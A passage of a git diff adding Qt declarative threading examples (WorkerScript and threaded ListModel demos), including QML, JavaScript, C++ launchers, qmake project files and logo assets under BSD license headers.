+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/threadedlistmodel/timedisplay.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/dataloader.js b/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/dataloader.js
new file mode 100644
index 00000000..7b937aed
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/dataloader.js
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// ![0]
+WorkerScript.onMessage = function(msg) {
+ if (msg.action == 'appendCurrentTime') {
+ var data = {'time': new Date().toTimeString()};
+ msg.model.append(data);
+ msg.model.sync(); // updates the changes to the list
+ }
+}
+// ![0]
diff --git a/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/timedisplay.qml b/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/timedisplay.qml
new file mode 100644
index 00000000..082c92b9
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/timedisplay.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// ![0]
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 200
+ height: 300
+
+ ListView {
+ anchors.fill: parent
+ model: listModel
+ delegate: Component {
+ Text { text: time }
+ }
+
+ ListModel { id: listModel }
+
+ WorkerScript {
+ id: worker
+ source: "dataloader.js"
+ }
+
+ Timer {
+ id: timer
+ interval: 2000; repeat: true
+ running: true
+ triggeredOnStart: true
+
+ onTriggered: {
+ var msg = {'action': 'appendCurrentTime', 'model': listModel};
+ worker.sendMessage(msg);
+ }
+ }
+ }
+}
+// ![0]
diff --git a/examples/declarative/threading/threadedlistmodel/threadedlistmodel.pro b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.pro
new file mode 100644
index 00000000..c37a539e
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/threadedlistmodel
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE3DA53C6
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/threading/threadedlistmodel
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/threading/threadedlistmodel/threadedlistmodel.qmlproject b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.qmlproject
new file mode 100644
index 00000000..3ad36744
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.qmlproject
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/threadedlistmodel"
+ }
+ JavaScriptFiles {
+ directory: "qml/threadedlistmodel"
+ }
+ ImageFiles {
+ directory: "qml/threadedlistmodel"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/threading/threadedlistmodel/threadedlistmodel.svg b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/threadedlistmodel.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/threading/threadedlistmodel/threadedlistmodel64.png b/examples/declarative/threading/threadedlistmodel/threadedlistmodel64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/threadedlistmodel64.png
Binary files differ
diff --git a/examples/declarative/threading/threadedlistmodel/threadedlistmodel80.png b/examples/declarative/threading/threadedlistmodel/threadedlistmodel80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/threadedlistmodel80.png
Binary files differ
diff --git a/examples/declarative/threading/threading.pro b/examples/declarative/threading/threading.pro
new file mode 100644
index 00000000..56508617
--- /dev/null
+++ b/examples/declarative/threading/threading.pro
@@ -0,0 +1,5 @@
+TEMPLATE = subdirs
+
+SUBDIRS = \
+ threadedlistmodel \
+ workerscript
diff --git a/examples/declarative/threading/workerscript/main.cpp b/examples/declarative/threading/workerscript/main.cpp
new file mode 100644
index 00000000..ea8b6688
--- /dev/null
+++ b/examples/declarative/threading/workerscript/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/workerscript/workerscript.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/threading/workerscript/qml/workerscript/workerscript.js b/examples/declarative/threading/workerscript/qml/workerscript/workerscript.js
new file mode 100644
index 00000000..f76471f9
--- /dev/null
+++ b/examples/declarative/threading/workerscript/qml/workerscript/workerscript.js
@@ -0,0 +1,15 @@
+var lastx = 0;
+var lasty = 0;
+
+WorkerScript.onMessage = function(message) {
+ var ydiff = message.y - lasty;
+ var xdiff = message.x - lastx;
+
+ var total = Math.sqrt(ydiff * ydiff + xdiff * xdiff);
+
+ lastx = message.x;
+ lasty = message.y;
+
+ WorkerScript.sendMessage( {xmove: xdiff, ymove: ydiff, move: total} );
+}
+
diff --git a/examples/declarative/threading/workerscript/qml/workerscript/workerscript.qml b/examples/declarative/threading/workerscript/qml/workerscript/workerscript.qml
new file mode 100644
index 00000000..abb99730
--- /dev/null
+++ b/examples/declarative/threading/workerscript/qml/workerscript/workerscript.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 480; height: 320
+
+ WorkerScript {
+ id: myWorker
+ source: "workerscript.js"
+
+ onMessage: {
+ console.log("Moved " + messageObject.xmove + " along the X axis.");
+ console.log("Moved " + messageObject.ymove + " along the Y axis.");
+ console.log("Moved " + messageObject.move + " pixels.");
+ }
+ }
+
+ Rectangle {
+ width: 200; height: 200
+ anchors.left: parent.left; anchors.leftMargin: 20
+ color: "red"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myWorker.sendMessage( { rectangle: "red", x: mouse.x, y: mouse.y } );
+ }
+ }
+
+ Rectangle {
+ width: 200; height: 200
+ anchors.right: parent.right; anchors.rightMargin: 20
+ color: "blue"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myWorker.sendMessage( { rectangle: "blue", x: mouse.x, y: mouse.y } );
+ }
+ }
+
+ Text {
+ text: "Click a Rectangle!"
+ anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 50 }
+ }
+}
diff --git a/examples/declarative/threading/workerscript/workerscript.pro b/examples/declarative/threading/workerscript/workerscript.pro
new file mode 100644
index 00000000..da11a101
--- /dev/null
+++ b/examples/declarative/threading/workerscript/workerscript.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/workerscript
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1474B5B
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/threading/workerscript
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/threading/workerscript/workerscript.qmlproject b/examples/declarative/threading/workerscript/workerscript.qmlproject
new file mode 100644
index 00000000..11ae5e57
--- /dev/null
+++ b/examples/declarative/threading/workerscript/workerscript.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/workerscript"
+ }
+ JavaScriptFiles {
+ directory: "qml/workerscript"
+ }
+ ImageFiles {
+ directory: "qml/workerscript"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
